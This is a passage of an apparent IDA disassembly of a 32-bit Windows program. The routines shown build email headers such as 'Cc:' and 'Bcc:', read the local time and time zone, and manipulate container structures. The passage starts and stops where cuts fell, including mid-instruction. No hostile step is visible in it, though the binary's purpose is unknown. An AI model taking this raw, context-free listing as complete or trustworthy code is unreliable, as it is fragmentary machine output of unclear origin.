lea edi, [ebp+var_20] lea esi, [ebp+var_18] mov [ebp+var_20], ebx call sub_407BB6 test al, al jz loc_409276 push offset aCc ; "\r\nCc: " push [ebp+arg_0] call sub_401C66 mov [ebp+var_1], 1 mov [ebp+var_20], ebx loc_4091DF: ; CODE XREF: sub_409016+25Bj mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_4091EC call sub_40DCFC loc_4091EC: ; CODE XREF: sub_409016+1CFj mov [ebp+var_1C], esi lea edi, [ebp+var_20] lea esi, [ebp+var_18] call sub_407BB6 test al, al jz short loc_409276 dec [ebp+var_C] js short loc_409276 cmp [ebp+var_1], 0 jnz short loc_409218 push offset asc_41ED40 ; ", " push [ebp+arg_0] call sub_401C66 jmp short loc_40921C ; --------------------------------------------------------------------------- loc_409218: ; CODE XREF: sub_409016+1F1j mov [ebp+var_1], 0 loc_40921C: ; CODE XREF: sub_409016+200j mov edi, [ebp+arg_0] xor ebx, ebx push 3Ch inc ebx mov esi, edi call sub_40140F lea esi, [ebp+var_18] call sub_409835 mov eax, [eax] push 0FFFFFFFFh push 0 mov esi, edi call sub_401F95 push 40h call sub_40140F lea esi, [ebp+var_18] call sub_409835 mov eax, [eax] push 0FFFFFFFFh add eax, 1Ch push 0 mov esi, edi call sub_401F95 push 3Eh call sub_40140F lea esi, [ebp+var_18] call sub_407BD3 mov ebx, [ebp+arg_4] jmp loc_4091DF ; --------------------------------------------------------------------------- loc_409276: ; CODE XREF: sub_409016+189j ; sub_409016+1AFj ... cmp [ebp+var_10], 0 jle loc_409351 mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_40928D call sub_40DCFC loc_40928D: ; CODE XREF: sub_409016+270j mov [ebp+var_1C], esi lea edi, [ebp+var_20] lea esi, [ebp+var_18] mov [ebp+var_20], ebx call sub_407BB6 test al, al jz loc_409351 push offset aBcc ; "\r\nBcc: " push [ebp+arg_0] call sub_401C66 mov [ebp+var_1], 1 mov [ebp+var_20], ebx loc_4092BA: ; CODE XREF: sub_409016+336j mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_4092C7 call sub_40DCFC loc_4092C7: ; CODE XREF: sub_409016+2AAj mov [ebp+var_1C], esi lea edi, [ebp+var_20] lea esi, [ebp+var_18] call sub_407BB6 test al, al jz short loc_409351 dec [ebp+var_10] js short loc_409351 cmp [ebp+var_1], 0 jnz short loc_4092F3 push offset asc_41ED40 ; ", " push [ebp+arg_0] call sub_401C66 jmp short loc_4092F7 ; --------------------------------------------------------------------------- loc_4092F3: ; CODE XREF: sub_409016+2CCj mov [ebp+var_1], 0 loc_4092F7: ; CODE XREF: sub_409016+2DBj mov edi, [ebp+arg_0] xor ebx, ebx push 3Ch inc ebx mov esi, edi call sub_40140F lea esi, [ebp+var_18] call sub_409835 mov eax, [eax] push 0FFFFFFFFh push 0 mov esi, edi call sub_401F95 push 40h call sub_40140F lea esi, [ebp+var_18] call sub_409835 mov eax, [eax] push 0FFFFFFFFh add eax, 1Ch push 0 mov esi, edi call sub_401F95 push 3Eh call sub_40140F lea esi, [ebp+var_18] call sub_407BD3 mov ebx, [ebp+arg_4] jmp loc_4092BA ; --------------------------------------------------------------------------- loc_409351: ; CODE XREF: sub_409016+264j ; sub_409016+28Aj ... pop edi pop esi pop ebx leave retn 8 sub_409016 endp ; =============== S U B R O U T I N E ======================================= sub_409358 proc near ; CODE XREF: sub_408593+7Bp mov eax, offset loc_41AFDA call sub_41AE44 sub esp, 0E0h lea eax, [ebp-1Ch] push eax call dword_41C0DC ; GetLocalTime lea eax, [ebp-0E8h] push eax call dword_41C0D8 ; GetTimeZoneInformation push dword ptr [ebp-0E8h] lea eax, [ebp-1Ch] push eax lea eax, [ebp-38h] push eax call sub_40D2A0 add esp, 0Ch mov ecx, [ebp+8] and dword ptr [ebp-4], 0 push 0FFFFFFFFh push 0 push eax call sub_401315 push 0 push 1 lea ecx, [ebp-38h] call sub_4013C4 mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn 4 sub_409358 endp ; =============== S U B R O U T I N E ======================================= sub_4093C0 proc near ; CODE XREF: sub_4081BF+1F9p ; sub_4081BF+386p ... mov eax, offset loc_41B10D call sub_41AE44 sub esp, 1Ch push ebx push dword ptr [edi] push offset asc_41EBE8 ; "\r\n" push dword ptr [ebp+0Ch] call sub_401C81 mov ebx, eax mov eax, [edi] cmp eax, 0FFFFFFFFh jz short loc_409429 push esi mov ecx, ebx sub ecx, eax push ecx push eax push dword ptr [ebp+0Ch] lea esi, [ebp-28h] call sub_405527 mov ecx, [ebp+8] push 0FFFFFFFFh xor esi, esi push esi push eax mov [ebp-4], esi call sub_401315 push esi push 1 lea ecx, [ebp-28h] call sub_4013C4 cmp ebx, 0FFFFFFFFh pop esi jz short loc_409427 push offset asc_41EBE8 ; "\r\n" call sub_40D970 pop ecx add ebx, eax loc_409427: ; CODE XREF: sub_4093C0+58j mov [edi], ebx loc_409429: ; CODE XREF: sub_4093C0+24j mov eax, [edi] mov ecx, [ebp+0Ch] cmp [ecx+14h], eax mov ecx, [ebp-0Ch] sbb eax, eax inc eax pop ebx mov large fs:0, ecx leave retn sub_4093C0 endp ; =============== S U B R O U T I N E ======================================= sub_409441 proc near ; CODE XREF: sub_4081BF+2Fp mov eax, offset loc_41AF5A call sub_41AE44 push ecx push ecx push ebx push esi mov esi, [ebp+8] push edi xor edi, edi mov [ebp-10h], edi call sub_4012E2 mov ebx, [ebp+0Ch] mov [ebp-4], edi cmp [ebx+14h], edi mov dword ptr [ebp-10h], 1 jbe short loc_4094B4 loc_40946F: ; CODE XREF: sub_409441+71j mov eax, ebx call sub_4012F5 cmp byte ptr [eax], 0Ah jnz short loc_409488 push offset asc_41EBE8 ; "\r\n" push esi call sub_401C66 jmp short loc_4094AE ; --------------------------------------------------------------------------- loc_409488: ; CODE XREF: sub_409441+38j mov eax, ebx call sub_4012F5 cmp byte ptr [eax], 0Dh jz short loc_4094AE mov eax, ebx call sub_4012F5 mov al, [eax] mov [ebp-14h], al push dword ptr [ebp-14h] xor ebx, ebx inc ebx call sub_40140F mov ebx, [ebp+0Ch] loc_4094AE: ; CODE XREF: sub_409441+45j ; sub_409441+51j inc edi cmp edi, [ebx+14h] jb short loc_40946F loc_4094B4: ; CODE XREF: sub_409441+2Cj mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi pop ebx mov large fs:0, ecx leave retn sub_409441 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094C5 proc near ; CODE XREF: sub_4089E6+31p ; sub_4089E6+3FDp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi push edi push offset asc_41EC38 ; "#$" mov esi, eax call sub_40D970 test eax, eax pop ecx mov [ebp+var_4], eax jbe short loc_40952C mov ecx, [ebx+14h] cmp esi, ecx jnb short loc_40952C mov edx, [ebx+18h] cmp edx, 10h lea edi, [ebx+4] jb short loc_4094F6 mov eax, [edi] jmp short loc_4094F8 ; --------------------------------------------------------------------------- loc_4094F6: ; CODE XREF: sub_4094C5+2Bj mov eax, edi loc_4094F8: ; CODE XREF: sub_4094C5+2Fj add eax, ecx cmp edx, 10h mov [ebp+var_8], eax jb short loc_409506 mov ecx, [edi] jmp short loc_409508 ; --------------------------------------------------------------------------- loc_409506: ; CODE XREF: sub_4094C5+3Bj mov ecx, edi loc_409508: ; CODE XREF: sub_4094C5+3Fj add esi, ecx cmp esi, eax jnb short loc_40952C loc_40950E: ; CODE XREF: sub_4094C5+65j movsx eax, byte ptr [esi] push [ebp+var_4] push eax push offset asc_41EC38 ; "#$" call sub_40F560 add esp, 0Ch test eax, eax jnz short loc_409533 inc esi cmp esi, [ebp+var_8] jb short loc_40950E loc_40952C: ; CODE XREF: sub_4094C5+19j ; sub_4094C5+20j ... or eax, 0FFFFFFFFh loc_40952F: ; CODE XREF: sub_4094C5+7Aj pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_409533: ; CODE XREF: sub_4094C5+5Fj cmp dword ptr [ebx+18h], 10h jb short loc_40953B mov edi, [edi] loc_40953B: ; CODE XREF: sub_4094C5+72j sub esi, edi mov eax, esi jmp short loc_40952F sub_4094C5 endp ; =============== S U B R O U T I N E ======================================= sub_409541 proc near ; CODE XREF: sub_408E4C+1Fp ; sub_408E4C+64p ... arg_0 = dword ptr 4 mov eax, esi call sub_4057B6 cmp [esp+arg_0], eax jb short loc_409553 call sub_40DCFC loc_409553: ; CODE XREF: sub_409541+Bj mov eax, [esp+arg_0] imul eax, 1Ch add eax, [esi+4] retn 4 sub_409541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409560 proc near ; CODE XREF: sub_4081BF+376p ; sub_408593+28Fp ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, eax push edi mov edi, [esi+4] test edi, edi jnz short loc_409576 xor ebx, ebx jmp short loc_409583 ; --------------------------------------------------------------------------- loc_409576: ; CODE XREF: sub_409560+10j mov eax, [esi+0Ch] sub eax, edi push 1Ch cdq pop ecx idiv ecx mov ebx, eax loc_409583: ; CODE XREF: sub_409560+14j mov eax, esi call sub_4057B6 cmp eax, ebx jnb short loc_4095A0 push [ebp+arg_0] push 1 push dword ptr [esi+8] call sub_409A9C mov [esi+8], eax jmp short loc_4095B9 ; --------------------------------------------------------------------------- loc_4095A0: ; CODE XREF: sub_409560+2Cj mov ebx, [esi+8] cmp edi, ebx jbe short loc_4095AC call sub_40DCFC loc_4095AC: ; CODE XREF: sub_409560+45j push ebx push esi push [ebp+arg_0] lea ebx, [ebp+var_C] call sub_409A1D loc_4095B9: ; CODE XREF: sub_409560+3Ej pop edi pop esi pop ebx leave retn 4 sub_409560 endp ; =============== S U B R O U T I N E ======================================= sub_4095C0 proc near ; CODE XREF: sub_408593+75p ; sub_408593+AAp ... mov eax, offset loc_41AFC8 call sub_41AE44 sub esp, 68h push ebx push esi mov esi, [ebp+8] push edi push dword ptr [ebp+0Ch] mov eax, esi call sub_40A70C xor ebx, ebx cmp esi, ebx mov [ebp-14h], eax jnz short loc_4095EB call sub_40DCFC loc_4095EB: ; CODE XREF: sub_4095C0+24j mov eax, [esi+4] mov [ebp-18h], esi mov [ebp-20h], esi lea edi, [ebp-20h] lea esi, [ebp-18h] mov [ebp-1Ch], eax call sub_40989F test al, al mov esi, [ebp-14h] jnz short loc_409618 mov eax, [ebp+0Ch] lea ecx, [esi+0Ch] call sub_409C4D test al, al jz short loc_40968C loc_409618: ; CODE XREF: sub_4095C0+47j push ebx lea ecx, [ebp-3Ch] mov dword ptr [ebp-24h], 0Fh call sub_401564 push dword ptr [ebp+0Ch] lea ecx, [ebp-74h] mov [ebp-4], ebx call sub_401C1E lea eax, [ebp-3Ch] push eax lea ecx, [ebp-58h] mov byte ptr [ebp-4], 1 call sub_401C1E push esi mov byte ptr [ebp-4], 2 push dword ptr [ebp-18h] lea eax, [ebp-74h] push eax lea eax, [ebp-20h] push eax mov eax, [ebp+8] call sub_409ACC mov edi, [eax] mov eax, [eax+4] push ebx push 1 lea ecx, [ebp-58h] mov [ebp-14h], eax call sub_4013C4 push ebx push 1 lea ecx, [ebp-74h] call sub_4013C4 push ebx push 1 lea ecx, [ebp-3Ch] call sub_4013C4 mov esi, [ebp-14h] jmp short loc_40968F ; --------------------------------------------------------------------------- loc_40968C: ; CODE XREF: sub_4095C0+56j mov edi, [ebp-18h] loc_40968F: ; CODE XREF: sub_4095C0+CAj cmp edi, ebx jnz short loc_409698 call sub_40DCFC loc_409698: ; CODE XREF: sub_4095C0+D1j cmp esi, [edi+4] jnz short loc_4096A2 call sub_40DCFC loc_4096A2: ; CODE XREF: sub_4095C0+DBj mov ecx, [ebp-0Ch] pop edi lea eax, [esi+28h] pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_4095C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096B6 proc near ; CODE XREF: sub_408593+417p ; .vty:004089C1p var_8 = byte ptr -8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 0Ch push ebx mov ebx, eax mov eax, [ebx+4] mov ecx, [eax] push eax push ebx push ecx push ebx lea eax, [esp+20h+var_8] push eax call sub_40A50C push dword ptr [ebx+4] call sub_40DD8A and dword ptr [ebx+4], 0 and dword ptr [ebx+8], 0 pop ecx pop ebx mov esp, ebp pop ebp retn sub_4096B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096EB proc near ; CODE XREF: sub_408593+40Cp ; .vty:004089C9p var_8 = byte ptr -8 push ebp mov ebp, esp and esp, 0FFFFFFF8h push ecx push ecx push ebx push edi mov edi, eax mov eax, [edi+4] mov ecx, [eax] push eax push edi push ecx push edi lea ebx, [esp+20h+var_8] call sub_40A73E push dword ptr [edi+4] call sub_40DD8A and dword ptr [edi+4], 0 and dword ptr [edi+8], 0 pop ecx pop edi pop ebx mov esp, ebp pop ebp retn sub_4096EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409720 proc near ; CODE XREF: sub_408593+1CDp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, [ebx+4] push esi mov esi, [eax+4] mov [ebp+var_8], eax mov al, 1 mov byte ptr [ebp+var_C], al jmp short loc_409753 ; --------------------------------------------------------------------------- loc_409737: ; CODE XREF: sub_409720+37j mov eax, [ebp+arg_0] lea ecx, [esi+0Ch] mov [ebp+var_8], esi call sub_409C4D test al, al mov byte ptr [ebp+var_C], al jz short loc_409750 mov esi, [esi] jmp short loc_409753 ; --------------------------------------------------------------------------- loc_409750: ; CODE XREF: sub_409720+2Aj mov esi, [esi+8] loc_409753: ; CODE XREF: sub_409720+15j ; sub_409720+2Ej cmp byte ptr [esi+39h], 0 jz short loc_409737 test al, al mov ecx, [ebp+var_8] mov esi, ecx mov [ebp+var_10], esi mov [ebp+var_14], ebx jz short loc_40979A mov eax, [ebx+4] cmp ecx, [eax] jnz short loc_40978F push [ebp+arg_0] push 1 loc_409774: ; CODE XREF: sub_409720+92j lea eax, [ebp+var_14] push eax mov esi, ebx call sub_409C73 mov ecx, [eax] mov eax, [eax+4] mov [edi], ecx mov [edi+4], eax mov byte ptr [edi+8], 1 jmp short loc_4097C0 ; --------------------------------------------------------------------------- loc_40978F: ; CODE XREF: sub_409720+4Dj lea esi, [ebp+var_14] call sub_409DC9 mov esi, [ebp+var_10] loc_40979A: ; CODE XREF: sub_409720+46j mov ecx, [ebp+arg_0] lea eax, [esi+0Ch] call sub_409C4D test al, al jz short loc_4097B4 push [ebp+arg_0] mov ecx, [ebp+var_8] push [ebp+var_C] jmp short loc_409774 ; --------------------------------------------------------------------------- loc_4097B4: ; CODE XREF: sub_409720+87j mov eax, [ebp+var_14] mov [edi], eax mov [edi+4], esi mov byte ptr [edi+8], 0 loc_4097C0: ; CODE XREF: sub_409720+6Dj mov eax, edi pop esi leave retn 4 sub_409720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097C7 proc near ; CODE XREF: sub_408E4C+29p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [edi+4] sub esp, 10h push ebx push esi mov esi, [eax+4] mov ebx, eax jmp short loc_4097F1 ; --------------------------------------------------------------------------- loc_4097D9: ; CODE XREF: sub_4097C7+2Ej mov ecx, [ebp+arg_4] lea eax, [esi+0Ch] call sub_409C4D test al, al jz short loc_4097ED mov esi, [esi+8] jmp short loc_4097F1 ; --------------------------------------------------------------------------- loc_4097ED: ; CODE XREF: sub_4097C7+1Fj mov ebx, esi mov esi, [esi] loc_4097F1: ; CODE XREF: sub_4097C7+10j ; sub_4097C7+24j cmp byte ptr [esi+39h], 0 jz short loc_4097D9 cmp ebx, [edi+4] mov [ebp+var_4], ebx mov [ebp+var_8], edi jz short loc_409816 mov eax, [ebp+arg_4] lea ecx, [ebx+0Ch] call sub_409C4D test al, al jnz short loc_409816 lea ecx, [ebp+var_8] jmp short loc_409822 ; --------------------------------------------------------------------------- loc_409816: ; CODE XREF: sub_4097C7+39j ; sub_4097C7+48j mov eax, [edi+4] mov [ebp+var_C], eax mov [ebp+var_10], edi lea ecx, [ebp+var_10] loc_409822: ; CODE XREF: sub_4097C7+4Dj mov edx, [ecx] mov eax, [ebp+arg_0] mov ecx, [ecx+4] pop esi mov [eax], edx mov [eax+4], ecx pop ebx leave retn 8 sub_4097C7 endp ; =============== S U B R O U T I N E ======================================= sub_409835 proc near ; CODE XREF: sub_4027E7+8Ap ; sub_402AA0+A8p ... cmp dword ptr [esi], 0 jnz short loc_40983F call sub_40DCFC loc_40983F: ; CODE XREF: sub_409835+3j mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+8] jb short loc_40984E call sub_40DCFC loc_40984E: ; CODE XREF: sub_409835+12j mov eax, [esi+4] retn sub_409835 endp ; =============== S U B R O U T I N E ======================================= sub_409852 proc near ; CODE XREF: sub_409ACC+121p ; sub_40A50C+74p ... push ebx xor ebx, ebx cmp [esi], ebx jnz short loc_40985E call sub_40DCFC loc_40985E: ; CODE XREF: sub_409852+5j mov eax, [esi+4] cmp [eax+45h], bl jz short loc_40986D call sub_40DCFC jmp short loc_40989B ; --------------------------------------------------------------------------- loc_40986D: ; CODE XREF: sub_409852+12j mov ecx, [eax+8] cmp [ecx+45h], bl jnz short loc_409890 jmp short loc_409879 ; --------------------------------------------------------------------------- loc_409877: ; CODE XREF: sub_409852+2Cj mov ecx, eax loc_409879: ; CODE XREF: sub_409852+23j mov eax, [ecx] cmp [eax+45h], bl jz short loc_409877 mov [esi+4], ecx jmp short loc_40989B ; --------------------------------------------------------------------------- loc_409885: ; CODE XREF: sub_409852+44j mov ecx, [esi+4] cmp ecx, [eax+8] jnz short loc_409898 mov [esi+4], eax loc_409890: ; CODE XREF: sub_409852+21j mov eax, [eax+4] cmp [eax+45h], bl jz short loc_409885 loc_409898: ; CODE XREF: sub_409852+39j mov [esi+4], eax loc_40989B: ; CODE XREF: sub_409852+19j ; sub_409852+31j mov eax, esi pop ebx retn sub_409852 endp ; =============== S U B R O U T I N E ======================================= sub_40989F proc near ; CODE XREF: sub_4089E6+311p ; sub_4089E6+365p ... mov eax, [esi] test eax, eax jz short loc_4098A9 cmp eax, [edi] jz short loc_4098AE loc_4098A9: ; CODE XREF: sub_40989F+4j call sub_40DCFC loc_4098AE: ; CODE XREF: sub_40989F+8j mov eax, [esi+4] sub eax, [edi+4] neg eax sbb eax, eax inc eax retn sub_40989F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098BA proc near ; CODE XREF: sub_4081BF+1A9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, eax call sub_40690A test eax, eax jnz short loc_4098D0 xor ebx, ebx jmp short loc_4098FA ; --------------------------------------------------------------------------- loc_4098D0: ; CODE XREF: sub_4098BA+10j mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_4098DD call sub_40DCFC loc_4098DD: ; CODE XREF: sub_4098BA+1Cj cmp [ebp+arg_8], 0 jz short loc_4098E8 cmp [ebp+arg_8], esi jz short loc_4098ED loc_4098E8: ; CODE XREF: sub_4098BA+27j call sub_40DCFC loc_4098ED: ; CODE XREF: sub_4098BA+2Cj mov eax, [ebp+arg_C] sub eax, edi push 38h cdq pop ecx idiv ecx mov ebx, eax loc_4098FA: ; CODE XREF: sub_4098BA+14j push [ebp+arg_C] mov ecx, [ebp+arg_4] push [ebp+arg_8] push esi call sub_409E2A mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_409916 call sub_40DCFC loc_409916: ; CODE XREF: sub_4098BA+55j imul ebx, 38h mov [ebp+arg_C], edi add edi, ebx cmp edi, [esi+8] ja short loc_409928 cmp edi, [esi+4] jnb short loc_40992D loc_409928: ; CODE XREF: sub_4098BA+67j call sub_40DCFC loc_40992D: ; CODE XREF: sub_4098BA+6Cj mov eax, [ebp+arg_0] mov [eax+4], edi pop edi mov [eax], esi pop esi pop ebx pop ecx pop ebp retn 10h sub_4098BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40993D proc near ; CODE XREF: sub_4081BF+184p ; sub_409E2A+AFp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B28F mov eax, [ebp+arg_4] imul eax, 38h add esp, 14h add eax, [ebp+arg_0] pop edi leave retn 0Ch sub_40993D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40996D proc near ; CODE XREF: sub_4081BF+2F8p var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edi mov eax, esi call sub_406949 test eax, eax jnz short loc_409983 and [ebp+var_8], eax jmp short loc_4099AE ; --------------------------------------------------------------------------- loc_409983: ; CODE XREF: sub_40996D+Fj mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_409990 call sub_40DCFC loc_409990: ; CODE XREF: sub_40996D+1Cj cmp [ebp+arg_4], 0 jz short loc_40999B cmp [ebp+arg_4], esi jz short loc_4099A0 loc_40999B: ; CODE XREF: sub_40996D+27j call sub_40DCFC loc_4099A0: ; CODE XREF: sub_40996D+2Cj mov eax, [ebp+arg_8] sub eax, edi push 2Ch cdq pop ecx idiv ecx mov [ebp+var_8], eax loc_4099AE: ; CODE XREF: sub_40996D+14j push [ebp+arg_8] mov ecx, [ebp+arg_0] push [ebp+arg_4] push esi call sub_40A022 mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_4099CA call sub_40DCFC loc_4099CA: ; CODE XREF: sub_40996D+56j push [ebp+var_8] mov [ebp+arg_8], edi lea edi, [ebp+arg_4] mov [ebp+arg_4], esi call sub_40AFC3 mov ecx, [eax] mov eax, [eax+4] mov [ebx+4], eax mov [ebx], ecx mov eax, ebx pop edi leave retn 0Ch sub_40996D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099EC proc near ; CODE XREF: sub_4081BF+2D6p ; sub_40A022+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B2EF mov eax, [ebp+arg_4] imul eax, 2Ch add esp, 14h add eax, [ebp+arg_0] pop edi leave retn 0Ch sub_4099EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A1D proc near ; CODE XREF: sub_409560+54p var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edi mov eax, esi call sub_4057B6 test eax, eax jnz short loc_409A33 and [ebp+var_8], eax jmp short loc_409A5E ; --------------------------------------------------------------------------- loc_409A33: ; CODE XREF: sub_409A1D+Fj mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_409A40 call sub_40DCFC loc_409A40: ; CODE XREF: sub_409A1D+1Cj cmp [ebp+arg_4], 0 jz short loc_409A4B cmp [ebp+arg_4], esi jz short loc_409A50 loc_409A4B: ; CODE XREF: sub_409A1D+27j call sub_40DCFC loc_409A50: ; CODE XREF: sub_409A1D+2Cj mov eax, [ebp+arg_8] sub eax, edi push 1Ch cdq pop ecx idiv ecx mov [ebp+var_8], eax loc_409A5E: ; CODE XREF: sub_409A1D+14j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push esi call sub_40A246 mov edi, [esi+4] cmp edi, [esi+8] jbe short loc_409A7A call sub_40DCFC loc_409A7A: ; CODE XREF: sub_409A1D+56j push [ebp+var_8] mov [ebp+arg_8], edi lea edi, [ebp+arg_4] mov [ebp+arg_4], esi call sub_40AFF4 mov ecx, [eax] mov eax, [eax+4] mov [ebx+4], eax mov [ebx], ecx mov eax, ebx pop edi leave retn 0Ch sub_409A1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A9C proc near ; CODE XREF: sub_409560+36p ; sub_40A246+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B35E mov eax, [ebp+arg_4] imul eax, 1Ch add esp, 14h add eax, [ebp+arg_0] pop edi leave retn 0Ch sub_409A9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409ACC proc near ; CODE XREF: sub_4095C0+99p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx mov ebx, eax xor eax, eax cmp [ebx+8], eax push esi push edi mov [ebp+var_8], eax mov [ebp+var_4], eax jnz short loc_409AFE mov ecx, [ebx+4] loc_409AE7: ; CODE XREF: sub_409ACC+64j push [ebp+arg_4] push 1 loc_409AEC: ; CODE XREF: sub_409ACC+A2j mov esi, ebx loc_409AEE: ; CODE XREF: sub_409ACC+EFj ; sub_409ACC+F8j ... push [ebp+arg_0] call sub_40A5B6 mov eax, [ebp+arg_0] jmp loc_409C46 ; --------------------------------------------------------------------------- loc_409AFE: ; CODE XREF: sub_409ACC+16j mov eax, [ebx+4] mov eax, [eax] lea edi, [ebp+var_10] lea esi, [ebp+arg_8] mov [ebp+var_C], eax mov [ebp+var_10], ebx call sub_40989F test al, al jz short loc_409B32 mov esi, [ebp+arg_C] mov eax, [ebp+arg_4] lea ecx, [esi+0Ch] call sub_409C4D test al, al jz loc_409C2B mov ecx, esi jmp short loc_409AE7 ; --------------------------------------------------------------------------- loc_409B32: ; CODE XREF: sub_409ACC+4Aj mov eax, [ebx+4] lea edi, [ebp+var_10] lea esi, [ebp+arg_8] mov [ebp+var_C], eax mov [ebp+var_10], ebx call sub_40989F test al, al jz short loc_409B73 mov eax, [ebx+4] mov eax, [eax+8] mov ecx, [ebp+arg_4] add eax, 0Ch call sub_409C4D test al, al jz loc_409C2B push [ebp+arg_4] mov eax, [ebx+4] mov ecx, [eax+8] push 0 jmp loc_409AEC ; --------------------------------------------------------------------------- loc_409B73: ; CODE XREF: sub_409ACC+7Cj mov edi, [ebp+arg_C] mov eax, [ebp+arg_4] lea ecx, [edi+0Ch] call sub_409C4D test al, al jz short loc_409BC9 mov eax, [ebp+arg_8] lea esi, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_4], edi call sub_40A8CD mov eax, [eax+4] mov ecx, [ebp+arg_4] add eax, 0Ch call sub_409C4D test al, al jz short loc_409BC9 mov ecx, [ebp+var_4] mov eax, [ecx+8] cmp byte ptr [eax+45h], 0 push [ebp+arg_4] mov esi, ebx jz short loc_409BC0 loc_409BB9: ; CODE XREF: sub_409ACC+153j push 0 jmp loc_409AEE ; --------------------------------------------------------------------------- loc_409BC0: ; CODE XREF: sub_409ACC+EBj push 1 mov ecx, edi jmp loc_409AEE ; --------------------------------------------------------------------------- loc_409BC9: ; CODE XREF: sub_409ACC+B7j ; sub_409ACC+DAj mov ecx, [ebp+arg_4] lea eax, [edi+0Ch] call sub_409C4D test al, al jz short loc_409C2B mov eax, [ebp+arg_8] mov [ebp+var_8], eax mov eax, [ebx+4] lea esi, [ebp+var_8] mov [ebp+var_4], edi mov [ebp+var_C], eax mov [ebp+var_10], ebx call sub_409852 lea edi, [ebp+var_10] call sub_40989F test al, al jnz short loc_409C10 mov ecx, [ebp+var_4] mov eax, [ebp+arg_4] add ecx, 0Ch call sub_409C4D test al, al jz short loc_409C2B loc_409C10: ; CODE XREF: sub_409ACC+130j mov ecx, [ebp+arg_C] mov eax, [ecx+8] cmp byte ptr [eax+45h], 0 push [ebp+arg_4] mov esi, ebx jnz short loc_409BB9 mov ecx, [ebp+var_4] push 1 jmp loc_409AEE ; --------------------------------------------------------------------------- loc_409C2B: ; CODE XREF: sub_409ACC+5Cj ; sub_409ACC+91j ... push [ebp+arg_4] push ebx lea ebx, [ebp+var_14] call sub_40A44B mov edx, [eax] mov ecx, [ebp+arg_0] mov [ecx], edx mov eax, [eax+4] mov [ecx+4], eax mov eax, ecx loc_409C46: ; CODE XREF: sub_409ACC+2Dj pop edi pop esi pop ebx leave retn 10h sub_409ACC endp ; =============== S U B R O U T I N E ======================================= sub_409C4D proc near ; CODE XREF: sub_4089E6+323p ; sub_4095C0+4Fp ... cmp dword ptr [ecx+18h], 10h push edi mov edi, [ecx+14h] jb short loc_409C5C mov ecx, [ecx+4] jmp short loc_409C5F ; --------------------------------------------------------------------------- loc_409C5C: ; CODE XREF: sub_409C4D+8j add ecx, 4 loc_409C5F: ; CODE XREF: sub_409C4D+Dj push ecx mov ecx, [eax+14h] call sub_4059BE xor ecx, ecx test eax, eax setl cl mov 